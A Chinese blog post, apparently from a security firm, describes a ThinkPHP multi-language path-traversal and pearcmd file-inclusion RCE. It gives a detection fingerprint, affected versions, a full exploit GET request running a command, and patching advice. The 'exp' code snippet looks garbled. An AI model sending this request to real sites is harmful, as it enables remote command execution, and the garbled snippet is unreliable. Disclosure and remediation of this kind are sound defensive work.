前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Thinkphp-v6版本漏洞复现

Thinkphp-v6版本漏洞复现

原创
作者头像
技术分享达人
发布2022-12-12 10:07:43
1.5K0
发布2022-12-12 10:07:43
举报
文章被收录于专栏:网站漏洞修补网站漏洞修补

Thinkphp漏洞复现

ThinkPHP可以说是快捷、简易的面向对象编程的一个微服务架构,PHP前端框架开发,创建于2006年,遵照Apache2的开源协议进行对外开放,目的是为了快速WEB应用程序开发和优化企业应用软件开发而发展起来的。假如Thinkphp代码开启了多语言这个功能,hack就能通过POST、GET、COOKIES等方式将恶意参数插入进去发送到服务器中进行执行恶意代码,并目录穿越+文件包含,利用pearcmd文件含有这个trick就可以实现RCE远程代码执行漏洞。

使用thinkphp并开启多语言的网站漏洞指纹如下:

header="think_lang"

漏洞影响版本范围

v6.0.0<=ThinkPHP<=v6.0.13

v5.0.0<=ThinkPHP<=5.0.12

v5.1.0<=ThinkPHP<=5.1.8

漏洞利用详情

#exp

pearcmd文件含有方法

$cmd=$_GET['cmd'];

$p=pearcmd;

$p->run($cmd);

目录穿越

//192.168.0.188:9999/index.php?s=index/index/index/think_lang/../../extend/pearcmd/pearcmd/index&cmd=DIR

能通过POST、cookies、GET等传参的方式,进行目录穿越和文件包含漏洞的利用,对thinkphp下的pearcmd文件进行远程代码命令执行,

HACK可以利用构造恶意的的URL,可以实现目录穿越和文件包含,然后利用pearcmd文件含有对其服务器进行远程命令执行。

这个漏洞利用的前提,必须要thinkphp开启多语言这一功能,像一些外贸公司网站,一些企业网站,想使用多语言的网站都是可以利用该漏洞进行远程代码执行漏洞的。

具体的GET漏洞利用数据包如下:

GET/index.php?s=index/index/index/think_lang/../../extend/pearcmd/pearcmd/index&cmd=DIR

Host:192.168.0.188:9999

User-Agent:Mozilla/5.0(WindowsNT10.0;Win32;x32;rv:79.0)Gecko/20100302Firefox/79.0

Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language:zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.6,en-US;q=0.4,en;q=0.1

Accept-Encoding:gzip,deflate

Connection:close

Upgrade-Insecure-Requests:1

Cache-Control:max-age=0

如何对该thinkphp漏洞进行修复?

我们SINE安全建议广大站长以及网站运营者,尽快的升级thinkphp到最高版本,目前Thinkphp官方在最新版本中修复了这个漏洞,也可以对该pearcmd文件进行强制删除,待代码漏洞修复后,还原该pearcmd文件,也可以找专业的网站安全公司进行代码漏洞修复和整体的网站安全加固。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
作者已关闭评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
命令行工具
腾讯云命令行工具 TCCLI 是管理腾讯云资源的统一工具。使用腾讯云命令行工具,您可以快速调用腾讯云 API 来管理您的腾讯云资源。此外,您还可以基于腾讯云的命令行工具来做自动化和脚本处理,以更多样的方式进行组合和重用。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档